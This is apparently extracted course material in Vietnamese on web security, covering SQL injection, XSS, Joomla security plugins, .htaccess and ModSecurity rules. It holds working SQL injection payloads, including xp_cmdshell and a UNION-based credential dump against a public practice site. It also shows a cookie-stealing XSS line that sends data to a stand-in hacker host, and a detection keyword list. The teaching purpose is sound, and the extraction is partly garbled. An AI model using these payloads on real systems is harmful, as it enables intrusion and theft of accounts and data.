Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: o
-
INSERT INTO TableName VALUES('1st Value', '2nd Value', '3rd Value')
Chắc chắn sẽ bị lỗi Sql Injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ
như:
o
-
-
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là: o INSERT INTP TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘ ‘, ‘abc’, ‘def’ Khi đó, lúc thực hiện lệnh xem thông tin, xem như chúng ta đã yêu cầu thực hiện thêm một lệnh nữa đó là: o
SELECT TOP 1 FieldName FROM Tablename
3.4.3 D ạng t ấn công s ử d ụn g s tored-procedures -
-
-
Stored Procedure đượ c sử dụng trong lập trình web với mục đích nhằm giảm sự phức tạp trong ứng dụng và tránh s ự tấn công trong kỹ thuật SQL Injection. Tuy nhiên những kẻ tấn công vẫn có thể lợi dụng những stored procedure để tấn công vào hệ thống. Việc tấn công này sẽ gây tác hại r ất lớn nếu ứng dụng được thực thi với quyền quản tr ị hệ thống ‘sa’ . Ví dụ 1: stored procedure splogin gồm hai tham số là username và password , nếu kẻ tấn công nhập: Username: thanhcong Password: ' ; shutdown- - L ệnh gọi stored procedure như sau: o
EXEC splogin 'thanhcong','';shutdown- -'
o
Lệnh shutdown thực hiện dừng sql server ngay l ập tức.
Ví dụ 2: o
EXEC xp_cmdshell 'cmd.exe dir C: '
74
o
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
3.4.4 Blind SQL injection -
SQL injection cho phép chúng ta khai thác thông tin t ừ cơ sở dữ liệu. Riêng với blind, chúng ta ph ải đoán thông tin dầ n dần dựa theo kết quả tr ả về là true hay false. Do đó sẽ dẫn tới một vấn đề đó là nếu thông tin chúng ta c ần lấy ví du: tên cơ sở dữ liệu, tên bảng, tên user quá dài thì vi ệc đoán sẽ gặp tr ở ngại lớn về thời gian.
3.4.4.1. Tìm ki ế m nh ị phân trong k hai thác B lind SQ L Injection o
o
Đây là một thuật toán tìm kiếm khả phổ biến. Về nguyên tắc nếu ta cần tìm một phần tử nào đó trong tập hợp đã được sắp xếp, ta chỉ cần xác định xem nó thuộc vào khoảng nào, từ đó dần dần thu hẹp phạm vi tìm. Cụ thể : có dãy số : 1 2 3 4 5 6 7 8 9 . Gi ờ ta cần tìm phần tử 9 ở vị trí nào, thay vì ta duyệt và kiểm tra từng phần tử của dãy ta có th ể tiến hành như sau: Kiểm tra 9 lớn hay nhỏ hơn phần từ ở giữa là 5 trong dãy trên ta thấy rõ ràng lớn hơn => ta được khoảng đầu tiên 6 7 8 9 Cứ thế tìm tới khi chỉ còn 2 phần từ 8, 9 ta ch ỉ so sánh 1 lần là tìm được giá tr ị mong muốn. Thuật toán này r ất tối ưu về thời gian và có độ phức tạp O(log n). Quay tr ở lại với việc khai thác lỗi bind SQLi, ta có thể tìm 1 ký tự đúng bằng thuât toán trên b ằng việc so sánh với mã ascii. Ví dụ: and ascii(substring((select username from jos_users),1,1) >
o
o
124 Với câu truy v ấn trên, ta sẽ lấy ra ký tự đầu tiên của user để so sánh và tìm ký tự đúng. Tìm kiếm nhị phân là phương pháp đượ c dùng khá ph ổ biến trong kĩ thuật khai thác bind SQLi.
3.4.4.2. D ị c h bit trong khai thác B lind SQL Injection o
o
o
Thông thường một ký tự bất kỳ sẽ được biểu diễn qua 8 bit nhị phân (theo ascii) do đó chúng ta sẽ dịch dần từng bit cho tới khi tìm được ký tự đúng. Cụ thể: chúng ta sẽ tiến hành dịch phải từ 7 bit t ới 0 bit. Như ta đã biế t với mỗi bit nhị phân bất kỳ sẽ chỉ có 2 lựa chọn hoặc là 1 ho ặc là 0. Với mỗi lần chúng ta sẽ kiểm tra chính xác v ị trí đó sẽ nhận giá tr ị nào. Cứ dần như thế tới khi dịch đủ 7 bit ta s ẽ đoán thành công mã ascii củ a ký tự cần tìm. Ví dụ: chữ cái đầu tên của database là ‘a’ sẽ có mã ascii là 97. Ta tiến hành dịch phải 7 bit và đoán xem nó là 0 hay 1 Sau khi được bit đầ u tiên ta lại thử điền vào vị trí bít thứ 6 và so sánh tiếp để tìm. Cứ làm tuần tự như trên ta chỉ cần thực hiện 7 lần để đoán chính xác 1 ký tự Kĩ thuật này đơn giả n và thực hiện dễ dàng hơn so với tìm kiếm nhị phân và cũng đươc dùng tương đố i phổ biến. Thông qua hai kĩ thuật trên ta có
o
75
thể dễ dàng lấy thông tin t ừ database và tiết kiệm thời gian r ất nhiều so với cách tìm kiếm tuần tự thông thường.
3.5 Demo tấn công SQL Injection Xác định website lỗi: Ví dụ,trang victim http://testphp.vulnweb.com/product.php?pic=1 thêm o dấu ‘ phía sau nếu web hiển thị như thế này thì có thể khai thác sql injection.
-
Xác định số column của table trong database c ủa victim http://testphp.vulnweb.com/product.php?pic=1 order by 11— o
o
Nếu trang victim không hi ển thị lỗi thì đó là số column c ần tìm
Ngược lại nếu hiển thị lỗi thì số lượng column chưa đúng, t hay bằng các giá tr ị cho đến khi đúng thì dừ ng lại.
76
Ta xác định được table trong database c ủa victim có 11 column. Xác định các table b ị lỗi Sử dụng select để xác định table lỗi: o o
-
http://testphp.vulnweb.com/product.php?pic=999 union select 1,2,3,4,5,6,7,8,9,10,11-- -
Có các column : 2,3,7,9 b ị lỗi -
Kiểm tra 1 vài thông tin của database
http://testphp.vulnweb.com/product.php?pic=999 union select 1, version(), database(), 4,5,6,user(),8,9,10,11-- -
SQL version: 5.1.73 Tên Database: acuart o User hiện tại: acuart@localhost o Liệt kê các table trong database: o
-
http://testphp.vulnweb.com/product.php?pic=999 union select 1,unhex(hex(group_concat(table_name))),database(),4,5,6,user(),8,9,10,11 from information_schema.tables where table_schema=database()-- 77
o
-
Ta được các table trong database, trong đó chúng ta sẽ khai thác table
này. Xác định các column trong table users
http://testphp.vulnweb.com/product.php?pic=999 union select 1,unhex(hex(group_concat(column_name))),database(),4,5,6,user(),8,9,10,11 from information_schema.columns where table_name=CHAR(117,115,101,114,115)-- o
-
với table được encode dạng mysql char()
Xem thông tin các column trong table users (uname, pass, name, email)
http://testphp.vulnweb.com/product.php?pic=999 union select 1,unhex(hex(group_concat(uname,0x3a,pass,0x3a,name,0x3a,email))),database(),4,5,6,use r(),8,9,10,11 from users-- -
78
o o o o
-
-
Username: test Password: test Name: cavaleiropv Email: email
Sử dụng username và password đó để đăng nhập lại trang web.
Đăng nhập thành công và thông tin user hi ện lên
79
4
XSS (Cross Site Scripting) -
-
Cross-site scripting là một lỗ hổng phổ biến trong ứng dụng web. Để khai thác một lỗ hổng XSS, hacker sẽ chèn mã độc thông qua các đoạn script để thực thi chúng ở phía client. Thông thườ ng, các cuộc tấn công XSS được sử dụng để vượt qua các kiểm soát truy cập và mạo danh người dùng. Phân loại: Có 3 loại Reflected XSS, Stored XSS và DOM-based XSS
4.1 Reflected XSS -
Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi vì tr ong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first order XSS.
-
-
Thực tế có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website. Chi tiết được mô tả theo các bước như sau:
1. Người dùng đăng nhậ p web và giả sử được gán session: Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 2. Bằng cách nào đó, hacker gửi được cho ngườ i dùng URL:
http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker site.net/”%2bdocument.cookie; Giả sử example.com là website nạn nhân truy cập, hacker -site.net là trang của hacker tạo ra
80
3. Nạn nhân truy c ập đến URL trên 4. Server phản h ồi cho nạn nhân, kèm với d ữ liệu có trong request(đoạ n javascript của hacker) 5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript 6. Đoạn javascript mà hacker t ạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker -site.net/”+document.cookie; Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.net 7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ b ị chi ếm. Đến lúc này, hacker có th ể gi ả m ạo v ới tư cách nạn nhân và thực hiện mọi quyền trên website mà n ạn nhân có.
4.2 Stored XSS -
-
Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước. Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.
Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.
81
-
Đến đây hacker coi như đã đạt được mục đích của mình. Vì lí do này mà kỹ thuật Stored XSS còn được gọi là second-order XSS. Kịch bản khai thác được mô tả như hình sau:
-
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
-
o
o
-
Thứ nh ất, để khai thác Reflected XSS, hacker ph ải l ừa được n ạn nhân truy cập vào URL của mình. Còn Stored XSS không c ần ph ải th ự c hiện việc này, sau khi chèn đượ c mã nguy hiể m vào CSDL của ứ ng dụng, hacker chỉ việc ng ồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thườ ng vì họ không h ề hay biế t dữ liệu mình truy cập đã bị nhiễm độc. Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nế u tại thời điể m tấ n công nạn nhân vẫn trong phiên làm việc(session) của ứ ng dụng web. Với Reflected XSS, hacker có th ể thuyế t phục hay lừ a nạn nhân đăng nhập r ồi truy cập đế n URL mà hắn ta cung cấp để thự c thi mã
độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bấ t c ứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thự c thi, và nhi ều khả năng là nhữ ng chức năng này yêu c ầu phải xác thực(đăng nhập) trước nên hiể n nhiên trong thời gian này người dùng vẫn đang trong phiên làm việ c. Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web. 82
4.3 DOM-based XSS DOM: viết tắt của Document Object Model là 1 dạng chuẩn của W3Cđưa ra nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML. Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân c ấp. Tất cả các thành phần trong HTML, XML đều được xem như một node. -
DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML. Chúng ta cùng xem xét một ví dụ cụ thể sau. Một website có URL đến trang đăng ký như sau: http://example.com/register.php?message=Please fill in the form
-
Khi truy cập đến thì chúng ta thấy một Form rất bình thường
-
Có thể dễ dàng suy luận tham số message truyền vào nội dung thông báo trên form, xem kỹ source code của đoạn thông báo này
-
Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra. Từ việc kiểm tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập các URL nguy hiểm.
-
Thay vì truyền message=Please fill in the form
-
thì truyền message=
onchange="java_script_:show()">
value="Male">Male
<script>function show(){alert();} 83
-
Khi đấy Form đăng ký sẽ trở thành thế này:
-
Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và khi lựa chọn giới tính, Script sẽ được thực thi
-
giá trị truyền vào tham số message được giải thích như sau:
class="col-sm-2
4">
class
=
control-label">Gender
"form-control"
class="col-sm-
onchange="java_script_:show()">
value="Male">Male
<script>function show(){alert();} -
-
-
Mục đích chính của nó là thực thi hàm show() mỗi khi có sự kiện onchage trên thẻ select, hàm show() ở đây chỉ đơn thuần bật ra popup để chứng tỏ script đã được thực thi. Tuy nhiên trong thực tế, hacker thường sẽ sử dụng hàm show() này để truyền giá trị cookie người dùng về một server định trước (có thể xem lại bài Reflected XSS phía trên có đề cập đến cách hacker tạo request này như thế nào). Ví dụ này cho chúng ta 2 kết luật quan trọng. Thứ nhất mã độc đã được thực thi ngay khi click vào giá trị trong thẻ select, tức là được thực thi ngay ở phía client mà không cần thông qua respond của server. Thứ 2, cấu trúc HTML đã bị thay đổi với script truyền vào. Và cũng có thể thấy kịch bản khai thác thực tế, DOM Based có phần giống với Reflected hơn là Stored XSS khi phải lừa người dùng truy cập vào một URL đã nhúng mã độc. Hình sau mô tả từng bước thực hiện kỹ thuật tấn công DOM Based XSS:
84
5 Joomla Security Plugin Joomla là một trong những CMS phổ biến trên thế giới, do đó nó cũng là đề tài mà được các hacker quan tâm thông qua các cu ộc tấn công. Do đó việc đả m bảo an ninh cho website cũng là vấn đề đáng quan tâm, hiện tại CMS đã hỗ tr ợ các plugin với nhiều tính năng để đảm bảo hạn chế các cuộc tấn công từ các -
attacker. Các plugin chính: Centrora Security, Securitycheck, RSFirewall
5.1 Centrora Security Centrora Bảo mật là một plugin tiên ti ến cho nền tảng WordPress đượ c xây dựng trên đầu trang của một cài đặt WP thường xuyên, thêm tính năng và cơ chế để bảo vệ các trang web ch ống lại các loại hình tấn công. Các plugin cũng sử a chữa một vấn đề tiện ích mà các plugin WordPress an ninh nhất có, cho phép ngay c ả người dùng không có k ỹ thuật để hiểu và sử dụng các tính năng của nó, tất cả nhờ vào một cách dễ dàng để quản lý trang bảng điều khiển trong WordPress ph ụ tr ợ.
85
5.2 Securitycheck -
-
-
Là một giao diện module để quản lý toàn bộ các extension nhanh chóng và d ễ dàng Web Firewall: đã được kiểm tra r ằng chống lại hơn 90 loạ i tấn công SQL Injectio, LFI và XSS và bao gồm các chức năng: Hỗ tr ợ Ipv6 o Blacklist o Whitelist o Lưu lại các sự kiện, admin có thể xem từ backend o Chuyển hướng đến trang mặc định nếu có cuộc tấn công được phát hiện o Bảo vệ cấp độ thứ 2 để tìm các từ nghi ngờ o Bảo vệ session o File manager: ngườ i dùng có thể kiểm tra file/folder permission và d ễ dàng nhìn thấy các cấu hình bị thiếu sót. .Htaccess protection: Thêm 1 key bí mật cho trang admin c ủa người dùng để ngăn chặn tấn công dictionary và brute force Kiểm tra lỗ hổng: Securitycheck th ực hiện 1 cuộc kiểm tra version của các component mà Joomla c ủa người dùng đã cài đặ t, so sánh chúng với database của chúng để xem nếu nó là extension dính l ỗ hổng Security kiểm tra từng cá thể mỗi component để tránh lỗ hổng Remote Management: quản lý extension t ừ xa từ bảng điều khiển trung tâm.
5.3 RSFirewall -
RSFirewall! là dịch vụ bảo mật Joomla tiên ti ến nhất! mà người dùng có thể sử dụng để bảo vệ trang web Joomla c ủa người dùng từ việc phát hiện xâm nhập và tấn công của hacker. RSFirewall! đượ c hỗ tr ợ bởi một nhóm các chuyên gia được đào tạo để luôn được cập nhật với các lỗ hổng và cập nhật bảo mật mới nhất được biết trước. Bảo vệ trang web c ủa người dùng từ Lỗ hổng Joomla! RCE o Scan các file của người dùng để tìm phần mềm độc hại o Bảo vệ thư mục /administrator c ủa người dùng bằng mật khẩu bổ sung o Kiểm tra các core file Joomla! Đảm bảo toàn vẹn o Bảo vệ administrator accounts o Các bước để tăng tính bảo mật cho trang web c ủa người dùng o Tìm và sửa các file và folder không an toàn o Chặn quyền truy cập vào các quốc gia cụ thể o Tự động chặn IP tấn công trang web c ủa người dùng o
6 Htaccess 6.1 .htaccess: là một tập tin cấu hình ở cấp thư mục được hỗ tr ợ bởi một vài máy chủ web, cho phép phân quy ền cấu hình máy chủ (web server). Nó được đặ t bên trong cây thư mục của trang web và có kh ả năng ghi đè lên cấu hình lên thư mụ c hiện hành và toàn b ộ các thư mục con nằm bên trong nó. ti ế p lên c ấu hình c ủa lõi .htaccess cung c ấ p một loạt các chỉ th ị , tác động tr ực server (Apache) mà không c ần phải truy câp vào bên trong h ệ thống chỉ nh sử a các t ậ p tin config c ủa server ( httpd.conf ), có ảnh hưở ng vô cùng quan tr ọng đến toàn bộ hệ thống website đang chạy 86
-
C ấu hình chính o Enable .htaccess: Để có thể sử dụng được tập tin .htaccess và cấu hình phân quyền, rewrite url,… theo ý muốn thì trướ c tiên ta phải bật chức năng ghi đ è của tập tin .htaccess trong t ập tin cấu hình chính là httpd.conf. Tìm trong tập tin httpd.conf dòng như dưới và xóa ký tự comment code “#” để bật .htaccess
o
Giới hạn quyền ghi đè của .htaccess Dưới đây là một ví dụ đơn giản cho chúng ta thấy r ằng file httpd.conf tác động lên khả năng ghi đè củ a tập tin .htaccess như đã nói ở trên.
o
Khả năng viết lại được dẫn (rewrite url) Có thể nói, nhắc đến .htaccess là chúng ta nh ắc đến cụm từ quen thuộc “mod_rewrite”, nó cho phép chúng ta viế t lại đường dẫn trang web sao cho thân thi ện, dùng cho nhiều mục đích mà trong đó mục đích chúng ta thường thấy đó là nâng cao khả năng SEO web.
6.2 Authentication -
-
Trước tiên tạo một file, đặt tên là .htpasswd Sau đó vào trang http://www.htpasswdgenerator.net/ , làm theo hướng hướ ng dẫn để generate ra đoạ n mã, sau đó copy đoạ n mã này vào file .htpasswd. Đặt file này trong đường dẫn web của chúng ta (lưu ý, ta có thể đặt ở bất cứ nơi đâu trong folder chưa website củ a ta) Tiếp tục, trong file .htaccess thêm dòng này
Lưu lại file .htaccess và đặt nó vào thư mục mà chúng ta mu ốn bảo vệ, bắt người dùng phải nhập username và password gi ống như trong file .htpasswd chúng ta đã định sẵn mới có thể đăng nhập được vào hệ thống website của chúng ta
6.3 Session manager -
Ví dụ 1: .htaccess file sẽ chuyển hướng đườ ng dẫn https://kungfuphp.com/contact.php thành https://kungfuphp.com/contacthieu.html
87
-
Ví dụ 2: Chuyển toàn bộ đường dân có đuôi .php sang đuôi .abc
-
Ví dụ 3: Chuyển hướng tên miền https://kungfuphp.com thành https://www.kungfuphp.com
6.4 Token control -
Ví dụ: chuyển toàn bộ các bài đăng trong https://kungfuphp.com/post?id=1 thành https://kungfuphp.com/post-1.html
6.5 Redirect admin -
Để cho phép 1 IP cụ thể access. Thay thế 123\.123\.123\.123 bằng IP của chúng ta
-
Để cho phép nhi ều IP access vào, thay thế 123\. 123\. 123\. XXX bằng IP của chúng ta
-
-
Nếu IP của chúng ta thay đổ i, ta có thể bảo vệ site bằng việc chỉ cho phép yêu cầu login t ới từ tên domain. Ch ỉ việc thay example\.com bằng domain c ủa chúng ta. Hầu hết bruforce dựa vào việc gửi POST request tr ực tiếp tới wp-login.php c ủa chúng ta. Do đó nếu POST request tới từ attackers thì nó s ẽ bị loại bỏ.
88
-
Nếu attackers trong quá trình b ị block mà cố gắng gửi POST request (trong vòng 15 phút) thì quá trình block s ẽ kéo dài lâu hơn.
7 Cài đặt công cụ bảo mật Modsecurity -
-
-
ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng c ấu hình, tùy chỉnh các phương thứ c phát hiện tấn công vào web server . Nó cũng là một tường lửa mức ứng dụng. Đứng trước Webserver và có kh ả năng xử lý traffic trước khi đưa vào Webserver. Mọi yêu cầu gửi đến Webserver từ phía client sẻ được gửi qua modsecurity Phiên bản ModSecurity hi ện tại đã hỗ tr ợ Apache, Nginx và IIS Một số tính chất mà mod_security có th ể dùng làm Web Application Firewall: o Tính linh động (Flexibility): Việc phân tích luồng HTTP theo một tiêu chí nhất định trong thực tế thường gặp vấn đề là làm sao để có thể so trùng mẫu mà ta muốn. Ngoài ra, do nhu c ầu của từng hệ thống web là khác nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau. Mod_security đã kết hợp với OWASP phát triển các tập rule mẫu (Core Rule Set) nh ằm tạo ra tính linh độ ng cho từng mô hình web khác nhau, hỗ tr ợ người quản tr ị phân tích theo nhu cầu thực tế của hệ thống đang quản tr ị o Tính thụ động (Passivity): ModSecurity sẽ không thực thi các tác vụ nếu như người quản tr ị viên không ch ỉ định công việc cụ thể cho chương trình, việc này là khá quan tr ọng trong một ứng dụng có nhiệm vụ phân tích nguy cơ như ModSecurity. Mọ i cảnh báo sẽ được thực hiện thông qua cơ chế phân tích và quy ết định tương tác vớ i hệ thống sẽ do người quản tr ị thực hiện. Chức năng ModSecurity (trên webserver Apache) Parsing: ModSecurity sẽ phân tách các d ữ liệu luân chuyển qua hệ thống o thành cấu trúc dữ liệu mà ModSecurity định nghĩa sẵ n. Cấu trúc này s ẽ được chuyển qua cơ chế so trùng mẫu trong tập rule để phân tích nguy
cơ. o
o
Buffering: Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ chế hoạt động của ModSec. Việc này có ý nghĩa khi các request gởi đế n ứng dụng web thì phải thông qua ModSecurity trước khi đế n ứng dụng xử lý và những response cũng sẽ được phân tích trước khi tr ả về phía client. Cơ chế này là cách duy nh ất để có thể ngăn chặn các cuộc tấn công thời gian thực, các dữ liệu mà ModSecurity nh ận được và phân tích s ẽ được lưu trữ trong RAM (bao g ồm request body và response data) Logging: ModSecurity hỗ tr ợ ghi nhật ký các gói tin HTTP: request headers, request body, response header, response body nh ằm hỗ tr ợ người quản tr ị phân tích nguy cơ mà hệ thống đang gặp phải để có thể ra quyết định kiểm soát. 89
Rule Engine: Các tập mẫu trong ModSecurity đóng vai trò quan trọ ng trong việc phát hiện các dạng tấn công và th ực hiện phòng chống Modsecurity có khả năng Theo dõi HTTP traffic để phát hiện những dấu hiệu bất thường. o Lọc các dữ liệu ra vào webserver. o Ghi lại các tương tác giữ a client và webserver. o Modsecurity hoạt động dựa trên các rules. MS có ho ạt động hiệu quả hay không phụ thuộc r ất lớn vào khả năng thiết lập rule của người quản tr ị. Các khái niệm cần biết: HTTP REQUEST, HTTP RESPONSE, REQUEST o
-
-
HEADER, REQUEST BODY… Cài đặt: Cập nhật hệ thống o [root@server ~]# yum -y update Cài đặt các thư việ n cần thiết [root@server ~]# yum install gcc make httpd-devel libxml2 pcre-devel o libxml2-devel curl-devel git Cài đặt mod_security Yum –y install mod_security o Sửa lại file httpd.conf để thực hiện load module ModSecurity (thêm vào dòng đầu): LoadModule security2_module modules/mod_security2.so Restart apache o service httpd restart
-
-
-
Cấu hình: -
-
ModSecurity là application firewall thu ộc loại rules-based, nghĩa là chúng ta cầ n thiết lập các luật(rules) để ModSecurity hoạt động. Các rules này đượ c thể hiện dưới dạng các chỉ thị (directives) và có thể đặt tr ực tiếp trong file cấu hình Apache(thông thường là httpd.conf). Ngoài ra có thể đặt các cấu hình này vào m ột file riêng, chẳng hạn modsecurity.conf trong thư mục conf.d và sau đó chúng ta cầ n thêm vào httpd.conf o Include conf.d/modsecurity.conf (mặc định trong httpd.conf đã có dòng include conf.d/*.conf . Vớ i dòng o này nó sẽ thực hiện tất cả các file có phần mở r ộng là .conf)
a. B ấ t Rule on và off -
Theo mặc định thì rule engine b ị disable. Để kích hoạt ModSecurity ta cần thêm chỉ thị sau vào file cấu hình
SecRuleEngine On -
-
Directive này dùng để điều khiển rule engine, chúng ta có th ể sử dụng các tùy chọn là On, Off hoặc DynamicOnly. On : các rules của ModSecurity đượ c áp dụng cho t ất cả nội dung. o Off : vô hiệu hóa ModSecurity. o DynamicOnly : khi nó phù hợp với một luật nào đó thì nó cũng không thự c hiện bất kỳ hành động nào(r ất có ích trong trườ ng hợp muốn test một luật nào đó mà không muốn nó block bất kì request nào có vấn đề với luật).
b. SecDefaultAction
90
-
Dùng để tạo các action mặc định. Khi tạo một luật mà không chỉ rõ hành động cho luật đó, nó sẽ thực hiện hành độ ng mặc định. Ví dụ : SecDefaultAction “phase:2.deny,log,status:403” o
Xây dựng chính sách chống lại một số tấn công phổ biến -
SQL Injection Các từ khóa chính thường sử dụng trong t ấn công SQL Injection và các o regular expressions tương ứ ng : UNION SELECT union\s+select UNION ALL SELECT union\s+all\s+select INTO OUTFILE into\s+outfile DROP TABLE drop\s+table ALTER TABLE alter\s+table LOAD_FILE load_file SELECT * select\s+* \s : được định nghĩa trong PCRE là mộ t regular expression cho phép phát o hiện mọi khoảng tr ắng và cả các mã thay thế (%20) o Để chống lại tấn công SQL Injection, ta dựa vào các đặc điể m trên từ đó
# # Block further login attempts after 3 failed attempts # # Initalize IP collection with user's IP address SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog" # Detect failed login attempts SecRule RESPONSE_BODY "Username does not exist" "phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=60" # Block subsequent login attempts SecRule IP:FAILED_LOGINS "@gt 3" deny
# # Throttle login attempts after 3 failed attempts # SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog" SecRule RESPONSE_BODY "Username does not exist" phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=10" SecRule IP:FAILED_LOGINS "@gt 3" "phase:4,allow,pause:3000" -
Directory Indexing
# # Prevent directory listings from accidentally being returned # SecRule REQUEST_URI "/$" "phase:4,deny,chain,log,msg:'Directory index returned'" SecRule RESPONSE_BODY "